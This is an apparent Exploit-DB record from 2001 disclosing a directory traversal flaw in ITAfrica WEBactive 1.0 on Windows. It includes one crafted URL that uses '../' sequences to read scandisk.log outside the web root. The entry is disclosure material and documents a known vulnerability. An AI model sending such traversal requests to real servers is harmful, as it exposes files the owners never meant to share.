itafrica webactive 1.0 - Directory Traversal

EDB-ID:

20637


Author:

slipy

Type:

remote


Platform:

Windows

Date:

2001-02-16


source: https://www.securityfocus.com/bid/2386/info

It is possible for a remote user to gain read access to directories and files outside the root directory of ITAfrica WEBactive. Requesting a specially crafted URL composed of '../' sequences will disclose an arbitrary directory. 

http://target/../../../scandisk.log

^^ = Will obviously open the scandisk.log file.